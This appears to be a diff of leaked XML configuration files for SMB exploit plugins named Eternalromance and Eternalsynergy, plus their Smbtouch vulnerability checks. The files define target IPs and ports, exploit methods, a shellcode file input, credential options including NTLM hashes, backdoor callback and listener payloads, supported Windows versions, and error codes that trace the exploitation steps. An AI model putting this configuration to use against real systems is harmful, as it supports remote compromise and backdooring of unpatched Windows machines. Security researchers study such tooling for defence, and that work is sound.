<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="WIN7_SP1" description="Windows 7 Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008R2_SP0" description="Windows Server 2008 R2 Sp0, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008R2_SP1" description="Windows Server 2008 R2 Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
</paramchoice>
<parameter name="TeardownBackdoorAtCompletion" description="Boolean stating whether or not to remove the backdoor following successful callback/callin" type="Boolean" hidden="true">
<default>0</default>
</parameter>
<paramchoice name="Payload" description="How the egg will behave">
<default>Callback</default>
<paramgroup name="Callback" description="The egg will callback to the specified IP and Port">
<parameter name="CallbackIp" description="Callback IP address the egg will connect to from target" type="IPv4"/>
<parameter name="CallbackPort" description="Callback port that the egg will connect to from target" type="TcpPort">
<default>0</default>
</parameter>
<parameter name="CallbackLocalPort" description="Callback port that we will listen on to receive the eggs connection" type="TcpPort" required="false"/>
</paramgroup>
<paramgroup name="Listener" description="The egg will open up a new listening port.">
<parameter name="ListenPort" description="Port the egg will listen on" type="TcpPort"/>
<parameter name="CallinPort" description="Port we connect to" type="TcpPort" required="false"/>
</paramgroup>
</paramchoice>
</inputparameters>
<outputparameters>
<paramchoice name="Contract"
description="The contract fulfilled by this plugin">
<value>StagedUpload</value>
<paramgroup name="StagedUpload" description="">
<parameter name="ConnectedTcp"
description="The connected socket"
type="Socket"/>
<parameter name="XorMask"
description="Masking byte"
type="U8"/>
</paramgroup>
</paramchoice>
<parameter name="TargetOsArchitecture"
description="The architecture of the target operating system"
type="String"/>
</outputparameters>
<errors>
<errorcode name="ETRO_ERROR_NO_MEMORY" value="65" description="Out of memory"/>
<errorcode name="ETRO_ERROR_INVALID_PIPE_CHOICE" value="66" description="Named pipe choice not supported"/>
<errorcode name="ETRO_UNALIGNED_RPC_STRUCT" value="67" description="Unaligned data attempted to be sent over browser pipe"/>
<errorcode name="ETRO_ERROR_PIPES_NOT_AVAILABLE" value="68" description="No pipes available to connect to"/>
<errorcode name="ETRO_ERROR_WINSOCK_STARTUP" value="69" description="Winsock failed to start up"/>
<errorcode name="ETRO_ERROR_PARAM_INIT" value="69" description="Error during parameter initialization"/>
<errorcode name="ETRO_ERROR_TRANS_NOT_FOUND" value="70" description="Unable to find a Transaction struct with info leak"/>
<errorcode name="ETRO_ERROR_TRANS_WRITE_OUT_OF_RANGE" value="71" description="Cannot write that far into Transaction, should have written more with WriteAndX"/>
<errorcode name="ETRO_ERROR_TRANS_TAKEOVER_UNSUCCESSFUL" value="72" description="Memory written to was not a transaction we controlled"/>
<errorcode name="ETRO_ERROR_OUT_OF_REMOTE_MEMORY" value="73" description="Out of memory to use in remote transaction"/>
<errorcode name="ETRO_ERROR_UNKNOWN_TRANS_SIZE" value="74" description="Unknown transaction size detected"/>
<errorcode name="ETRO_ERROR_NOT_ENOUGH_LEAK_DATA" value="75" description="Leak returned with less data than it should have"/>
<errorcode name="ETRO_ERROR_STRUCT_WALK_ABORTED" value="76" description="Failed to walk structures and find Srv module"/>
<errorcode name="ETRO_ERROR_BACKDOOR_NOT_PRESENT" value="77" description="Backdoor transaction sent but backdoor did not respond"/>
<errorcode name="ETRO_ERROR_PAYLOAD_TOO_LARGE" value="78" description="Stage 1 payload exceeded max allowed size (0xFFFF)"/>
<errorcode name="ETRO_ERROR_BACKDOOR_RETURNED_ERROR" value="79" description="Backdoor present but returned an error code"/>
<errorcode name="ETRO_ERROR_BLUE_SCREENED_TARGET" value="80" description="Overwrite caused the target to blue screen"/>
<errorcode name="ETRO_ERROR_OS_NOT_SUPPORTED" value="81" description="Offsets not available for the targeted OS"/>
<errorcode name="ETRO_ERROR_DISPATCH_TABLE_NOT_FOUND" value="82" description="Unable to locate the dispatch table in memory"/>
<errorcode name="ETRO_ERROR_EXPLOITATION_UNSUCCESSFUL" value="83" description="Exploit methods were tried and were not successful"/>
<errorcode name="ETRO_ERROR_EXPLOIT_METHOD_UNSUCCESSFUL" value="84" description="Exploit method was not successful but did not crash, other methods may be tried"/>
<errorcode name="ETRO_ERROR_INVALID_EXPLOIT_METHOD" value="85" description="Exploit method not possible for target OS"/>
</errors>
<redirection>
<local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="TargetIp"
destport="TargetPort"
closeoncompletion="true"/>
<remote protocol="TCP"
listenaddr="CallbackIp"
listenport="CallbackPort"
destport="CallbackLocalPort"/>
</redirection>
<logic>
<and>
<service name="smb">
<bindtovalue name="Protocol" value="SMB"/>
<bindtopath name="TargetPort" path="//service[name='smb']/port"/>
</service>
<or>
<os family="windows" name="Windows XP">
<bindtovalue name="Target" value="XP"/>
</os>
<os family="windows" name="Windows 2003" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="W2K3SP0"/>
</os>
<os family="windows" name="Windows 2003" servicepack="1" architecture="x86 32-bit">
<bindtovalue name="Target" value="W2K3SP1"/>
</os>
<os family="windows" name="Windows 2003" servicepack="2" architecture="x86 32-bit">
<bindtovalue name="Target" value="W2K3SP2"/>
</os>
<os family="windows" name="Windows XP" servicepack="1" architecture="x64 64-bit">
<bindtovalue name="Target" value="W2K3XPX64SP1"/>
</os>
<os family="windows" name="Windows XP" servicepack="2" architecture="x64 64-bit">
<bindtovalue name="Target" value="W2K3XPX64SP2"/>
</os>
<os family="windows" name="Windows 2003" servicepack="1" architecture="x64 64-bit">
<bindtovalue name="Target" value="W2K3XPX64SP1"/>
</os>
<os family="windows" name="Windows 2003" servicepack="2" architecture="x64 64-bit">
<bindtovalue name="Target" value="W2K3XPX64SP2"/>
</os>
<os family="windows" name="Windows Vista" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows Vista" servicepack="1" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows Vista" servicepack="2" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 2008" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 2008" servicepack="1" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 2008" servicepack="2" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 2008 R2" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 7" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
</or>
</and>
</logic>
</config>

Binary file not shown.

View file

@ -0,0 +1,21 @@
<?xml version="1.0"?>
<t:config id="7fca44399ae06e52cb50bfdf9ce6bd0f2ed5d28b"
name="Eternalromance"
version="1.3.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin name="Smbtouch"
displayname="ETRO Vulnerability Touch"
description="Check if Target is vulnerable to ETRO">
<t:oparam name="Target" value="Target"/>
<t:oparam name="TargetOsArchitecture" value="TargetOsArchitecture"/>
<t:oparam name="PipeName" value="PipeName"/>
<t:oparam name="ShareName" value="ShareName"/>
<t:oparam name="Credentials" value="Credentials"/>
<t:oparam name="Username" value="Username"/>
<t:oparam name="Password" value="Password"/>
<t:oparam name="NtlmHash" value="NtlmHash"/>
</t:plugin>
</t:touchlist>
</t:config>

View file

@ -0,0 +1,426 @@
<?xml version="1.0" encoding="UTF-8"?>
<config xmlns="urn:trch"
id="df1cc1973caa2c3e1bbe4d2e48ffd23e50e4e428"
name="Eternalromance"
version="1.4.0"
configversion="1.4.0.0"
schemaversion="2.0.0">
<inputparameters>
<!-- All plugins that perform blocking network calls must have a NetworkTimeout
parameter or its equivalent -->
<parameter name="NetworkTimeout"
description="Timeout for blocking network calls (in seconds). Use -1 for no timeout."
type="S16">
<default>60</default>
</parameter>
<parameter name="TargetIp"
description="Target IP Address"
type="IPv4"/>
<parameter name="TargetPort" description="Target TCP port" type="TcpPort">
<default>445</default>
</parameter>
<parameter name="MaxExploitAttempts"
description="Number of tries to exploit. Default 3"
type="U32"
hidden="true">
<default>3</default>
</parameter>
<parameter name="PipeName"
description="The named pipe to use"
type="String">
</parameter>
<paramchoice name="ExploitMethod" description="Which exploit method to use">
<default>Default</default>
<paramgroup name="Default" description="Use the best exploit method(s) for the target OS">
<parameter name="ExploitMethodChoice" type="U32" hidden="true" description="">
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="Fish-in-a-barrel" description="Most reliable exploit method (XP/2k3 only)">
<parameter name="ExploitMethodChoice" type="U32" hidden="true" description="">
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="Matched-pairs" description="Next reliable exploit method (XP/Win7/2k8R2 only)">
<parameter name="ExploitMethodChoice" type="U32" hidden="true" description="">
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="Classic-Romance" description="Original LargePageGroom exploit method (All OS Versions)">
<parameter name="ExploitMethodChoice" type="U32" hidden="true" description="">
<default>3</default>
</parameter>
</paramgroup>
</paramchoice>
<parameter name="ShellcodeFile"
xdevmap="EXPLOIT_SHELLCODE"
description="DOPU (ensure correct architecture) ONLY! Other shellcode will likely BSOD."
type="LocalFile"/>
<paramchoice name="Credentials" description="Type of credentials to use">
<default>Anonymous</default>
<paramgroup name="Anonymous" description="Anonymous (NULL session)">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>0</default>
</parameter>
<parameter name="Username" type="Buffer" hidden="true" description="">
<default></default>
</parameter>
<parameter name="Password" type="Buffer" hidden="true" description="">
<default></default>
</parameter>
</paramgroup>
<paramgroup name="Guest" description="Guest account">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>1</default>
</parameter>
<parameter name="Password" type="Buffer" hidden="true" description="">
<default></default>
</parameter>
</paramgroup>
<paramgroup name="Blank" description="User account with no password set">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>2</default>
</parameter>
<parameter name="Username" type="Buffer" description="Username entered as hex bytes (in unicode)"/>
<parameter name="Password" type="Buffer" hidden="true" description="">
<default></default>
</parameter>
</paramgroup>
<paramgroup name="Password" description="User name and password">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>3</default>
</parameter>
<parameter name="Username" type="Buffer" description="Username entered as hex bytes (in unicode)"/>
<parameter name="Password" type="Buffer" description="Password entered as hex bytes (in unicode)"/>
</paramgroup>
<paramgroup name="NTLM" description="User name and NTLM hash">
<parameter name="CredChoice" type="U32" hidden="true" description="">
<default>4</default>
</parameter>
<parameter name="Username" type="Buffer" description="Username entered as hex bytes (in unicode)"/>
<parameter name="NtlmHash" type="Buffer" description="NTLM password hash (in hex)"/>
</paramgroup>
</paramchoice>
<paramchoice name="Protocol" description="SMB (default port 445) or NBT (default port 139)">
<default>SMB</default>
<paramgroup name="SMB" description="">
<parameter name="UsingNbt" description="Boolean stating to use Nbt or not" type="Boolean" hidden="true">
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="NBT" description="">
<parameter name="UsingNbt" description="Boolean stating to use Nbt or not" type="Boolean" hidden="true">
<default>1</default>
</parameter>
</paramgroup>
</paramchoice>
<paramchoice name="Target" description="Operating System, Service Pack, of target OS">
<paramgroup name="XP_SP0SP1_X86" description="Windows XP Sp0 and Sp1, 32-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="XP_SP2SP3_X86" description="Windows XP Sp2 and Sp3, 32-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="XP_SP1_X64" description="Windows XP Sp1, 64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="XP_SP2_X64" description="Windows XP Sp2, 64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2003_SP0" description="Windows Sever 2003 Sp0, 32-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2003_SP1" description="Windows Sever 2003 Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2003_SP2" description="Windows Sever 2003 Sp2, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>5</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>2</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="VISTA_SP0" description="Windows Vista Sp0, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="VISTA_SP1" description="Windows Vista Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="VISTA_SP2" description="Windows Vista Sp2, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008_SP0" description="Windows Server 2008 Sp0, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008_SP1" description="Windows Server 2008 Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008_SP2" description="Windows Server 2008 Sp2, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>0</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name="WIN7_SP0" description="Windows 7 Sp0, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="WIN7_SP1" description="Windows 7 Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008R2_SP0" description="Windows Server 2008 R2 Sp0, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name="SERVER_2008R2_SP1" description="Windows Server 2008 R2 Sp1, 32-bit/64-bit">
<parameter name="OsMajor" hidden="true" type="U8" description="OS Major Version" >
<default>6</default>
</parameter>
<parameter name="OsMinor" hidden="true" type="U8" description="OS Minor Version" >
<default>1</default>
</parameter>
<parameter name="OsServicePack" hidden="true" type="U8" description="OS Service Pack Level" >
<default>1</default>
</parameter>
</paramgroup>
</paramchoice>
</inputparameters>
<outputparameters>
<parameter name="TargetOsArchitecture"
description="The architecture of the target operating system"
type="String"/>
</outputparameters>
<errors>
<errorcode name="ETRO_ERROR_NO_MEMORY" value="65" description="Out of memory"/>
<errorcode name="ETRO_ERROR_INVALID_PIPE_CHOICE" value="66" description="Named pipe choice not supported"/>
<errorcode name="ETRO_UNALIGNED_RPC_STRUCT" value="67" description="Unaligned data attempted to be sent over browser pipe"/>
<errorcode name="ETRO_ERROR_PIPES_NOT_AVAILABLE" value="68" description="No pipes available to connect to"/>
<errorcode name="ETRO_ERROR_WINSOCK_STARTUP" value="69" description="Winsock failed to start up"/>
<errorcode name="ETRO_ERROR_PARAM_INIT" value="69" description="Error during parameter initialization"/>
<errorcode name="ETRO_ERROR_TRANS_NOT_FOUND" value="70" description="Unable to find a Transaction struct with info leak"/>
<errorcode name="ETRO_ERROR_TRANS_WRITE_OUT_OF_RANGE" value="71" description="Cannot write that far into Transaction, should have written more with WriteAndX"/>
<errorcode name="ETRO_ERROR_TRANS_TAKEOVER_UNSUCCESSFUL" value="72" description="Memory written to was not a transaction we controlled"/>
<errorcode name="ETRO_ERROR_OUT_OF_REMOTE_MEMORY" value="73" description="Out of memory to use in remote transaction"/>
<errorcode name="ETRO_ERROR_UNKNOWN_TRANS_SIZE" value="74" description="Unknown transaction size detected"/>
<errorcode name="ETRO_ERROR_NOT_ENOUGH_LEAK_DATA" value="75" description="Leak returned with less data than it should have"/>
<errorcode name="ETRO_ERROR_STRUCT_WALK_ABORTED" value="76" description="Failed to walk structures and find Srv module"/>
<errorcode name="ETRO_ERROR_BACKDOOR_NOT_PRESENT" value="77" description="Backdoor transaction sent but backdoor did not respond"/>
<errorcode name="ETRO_ERROR_PAYLOAD_TOO_LARGE" value="78" description="Stage 1 payload exceeded max allowed size (0xFFFF)"/>
<errorcode name="ETRO_ERROR_BACKDOOR_RETURNED_ERROR" value="79" description="Backdoor present but returned an error code"/>
<errorcode name="ETRO_ERROR_BLUE_SCREENED_TARGET" value="80" description="Overwrite caused the target to blue screen"/>
<errorcode name="ETRO_ERROR_OS_NOT_SUPPORTED" value="81" description="Offsets not available for the targeted OS"/>
<errorcode name="ETRO_ERROR_DISPATCH_TABLE_NOT_FOUND" value="82" description="Unable to locate the dispatch table in memory"/>
<errorcode name="ETRO_ERROR_EXPLOITATION_UNSUCCESSFUL" value="83" description="Exploit methods were tried and were not successful"/>
<errorcode name="ETRO_ERROR_EXPLOIT_METHOD_UNSUCCESSFUL" value="84" description="Exploit method was not successful but did not crash, other methods may be tried"/>
<errorcode name="ETRO_ERROR_INVALID_EXPLOIT_METHOD" value="85" description="Exploit method not possible for target OS"/>
</errors>
<redirection>
<local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="TargetIp"
destport="TargetPort"
closeoncompletion="true"/>
</redirection>
<logic>
<and>
<service name="smb">
<bindtovalue name="Protocol" value="SMB"/>
<bindtopath name="TargetPort" path="//service[name='smb']/port"/>
</service>
<or>
<os family="windows" name="Windows XP">
<bindtovalue name="Target" value="XP"/>
</os>
<os family="windows" name="Windows 2003" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="W2K3SP0"/>
</os>
<os family="windows" name="Windows 2003" servicepack="1" architecture="x86 32-bit">
<bindtovalue name="Target" value="W2K3SP1"/>
</os>
<os family="windows" name="Windows 2003" servicepack="2" architecture="x86 32-bit">
<bindtovalue name="Target" value="W2K3SP2"/>
</os>
<os family="windows" name="Windows XP" servicepack="1" architecture="x64 64-bit">
<bindtovalue name="Target" value="W2K3XPX64SP1"/>
</os>
<os family="windows" name="Windows XP" servicepack="2" architecture="x64 64-bit">
<bindtovalue name="Target" value="W2K3XPX64SP2"/>
</os>
<os family="windows" name="Windows 2003" servicepack="1" architecture="x64 64-bit">
<bindtovalue name="Target" value="W2K3XPX64SP1"/>
</os>
<os family="windows" name="Windows 2003" servicepack="2" architecture="x64 64-bit">
<bindtovalue name="Target" value="W2K3XPX64SP2"/>
</os>
<os family="windows" name="Windows Vista" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows Vista" servicepack="1" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows Vista" servicepack="2" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 2008" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 2008" servicepack="1" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 2008" servicepack="2" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 2008 R2" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
<os family="windows" name="Windows 7" servicepack="0" architecture="x86 32-bit">
<bindtovalue name="Target" value="WVISTA_2008_7"/>
</os>
</or>
</and>
</logic>
</config>

Binary file not shown.

View file

@ -0,0 +1,21 @@
<?xml version="1.0"?>
<t:config id="df1cc1973caa2c3e1bbe4d2e48ffd23e50e4e428"
name="Eternalromance"
version="1.4.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin name="Smbtouch"
displayname="ETRO Vulnerability Touch"
description="Check if Target is vulnerable to ETRO">
<t:oparam name="Target" value="Target"/>
<t:oparam name="TargetOsArchitecture" value="TargetOsArchitecture"/>
<t:oparam name="PipeName" value="PipeName"/>
<t:oparam name="ShareName" value="ShareName"/>
<t:oparam name="Credentials" value="Credentials"/>
<t:oparam name="Username" value="Username"/>
<t:oparam name="Password" value="Password"/>
<t:oparam name="NtlmHash" value="NtlmHash"/>
</t:plugin>
</t:touchlist>
</t:config>

View file

@ -0,0 +1,185 @@
<?xml version='1.0' encoding='utf-8'?>
<config xmlns='urn:trch' name='Eternalsynergy' version='1.0.1' schemaversion='2.1.0' configversion='1.0.1.0' id='665a77d7870f1e8dc34048203dc820525c09bd23'>
<inputparameters>
<parameter type='S16' name='NetworkTimeout' description='Timeout for blocking network calls (in seconds). Use -1 for no timeout.'>
<default>60</default>
</parameter>
<parameter type='IPv4' name='TargetIp' description='Target IP Address'/>
<parameter type='TcpPort' name='TargetPort' description='Target TCP port'>
<default>445</default>
</parameter>
<parameter hidden='true' type='U32' name='MaxLeakAttempts' description='Number of tries to exploit. Default 7'>
<default>7</default>
</parameter>
<parameter hidden='true' type='U32' name='MaxExploitAttempts' description='Number of tries to exploit. Default 3'>
<default>3</default>
</parameter>
<parameter type='U32' name='AttemptIndex' description='How many times ETSY has already been used against this target (0-7)'>
<default>0</default>
</parameter>
<parameter type='Boolean' name='ManyCoreTarget' description='Boolean specifying if the target is assumed to have many (8 or more) cores, physical or virtual'>
<default>0</default>
</parameter>
<parameter type='String' name='PipeName' description='The named pipe to use'>
</parameter>
<paramchoice name='ExploitMethod' description='Which exploit method to use'>
<default>Default</default>
<paramgroup name='Default' description='Use the best exploit method(s) for the target OS'>
<parameter hidden='true' type='U32' name='ExploitMethodChoice' description=''>
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name='Matched-pairs' description='More reliable'>
<parameter hidden='true' type='U32' name='ExploitMethodChoice' description=''>
<default>1</default>
</parameter>
</paramgroup>
<paramgroup name='Classic-Synergy' description='Less reliable'>
<parameter hidden='true' type='U32' name='ExploitMethodChoice' description=''>
<default>2</default>
</parameter>
</paramgroup>
</paramchoice>
<parameter xdevmap='EXPLOIT_SHELLCODE' type='LocalFile' name='ShellcodeFile' description='DOPU (x64 version!) ONLY! Other shellcode will likely BSOD.'/>
<paramchoice name='Credentials' description='Type of credentials to use'>
<default>Anonymous</default>
<paramgroup name='Anonymous' description='Anonymous (NULL session)'>
<parameter hidden='true' type='U32' name='CredChoice' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='Buffer' name='Username' description=''>
<default/>
</parameter>
<parameter hidden='true' type='Buffer' name='Password' description=''>
<default/>
</parameter>
</paramgroup>
<paramgroup name='Guest' description='Guest account'>
<parameter hidden='true' type='U32' name='CredChoice' description=''>
<default>2</default>
</parameter>
<parameter hidden='true' type='Buffer' name='Username' description=''>
<default>Guest</default>
</parameter>
<parameter hidden='true' type='Buffer' name='Password' description=''>
<default/>
</parameter>
</paramgroup>
<paramgroup name='Blank' description='User account with no password set'>
<parameter hidden='true' type='U32' name='CredChoice' description=''>
<default>2</default>
</parameter>
<parameter type='Buffer' name='Username' description='Username entered as hex bytes (in unicode)'/>
<parameter hidden='true' type='Buffer' name='Password' description=''>
<default/>
</parameter>
</paramgroup>
<paramgroup name='Password' description='User name and password'>
<parameter hidden='true' type='U32' name='CredChoice' description=''>
<default>3</default>
</parameter>
<parameter type='Buffer' name='Username' description='Username entered as hex bytes (in unicode)'/>
<parameter type='Buffer' name='Password' description='Password entered as hex bytes (in unicode)'/>
</paramgroup>
<paramgroup name='NTLM' description='User name and NT and/or LM hash'>
<parameter hidden='true' type='U32' name='CredChoice' description=''>
<default>4</default>
</parameter>
<parameter type='Buffer' name='Username' description='Username entered as hex bytes (in unicode)'/>
<parameter type='Buffer' name='ntHash' description='NT password hash (in hex), or blank to use LM hash'>
<default/>
</parameter>
<parameter type='Buffer' name='lmHash' description='LM password hash (in hex), or blank to use NT hash'>
<default/>
</parameter>
</paramgroup>
</paramchoice>
<paramchoice name='Protocol' description='SMB (default port 445) or NBT (default port 139)'>
<default>SMB</default>
<paramgroup name='SMB' description=''>
<parameter hidden='true' type='Boolean' name='UsingNbt' description='Boolean stating to use Nbt or not'>
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name='NBT' description=''>
<parameter hidden='true' type='Boolean' name='UsingNbt' description='Boolean stating to use Nbt or not'>
<default>1</default>
</parameter>
</paramgroup>
</paramchoice>
<paramchoice name='Target' description='Operating System, Service Pack, of target OS'>
<paramgroup name='WIN8_SP0' description='Windows 8 Sp0, 64-bit'>
<parameter hidden='true' type='U8' name='OsMajor' description='OS Major Version'>
<default>6</default>
</parameter>
<parameter hidden='true' type='U8' name='OsMinor' description='OS Minor Version'>
<default>2</default>
</parameter>
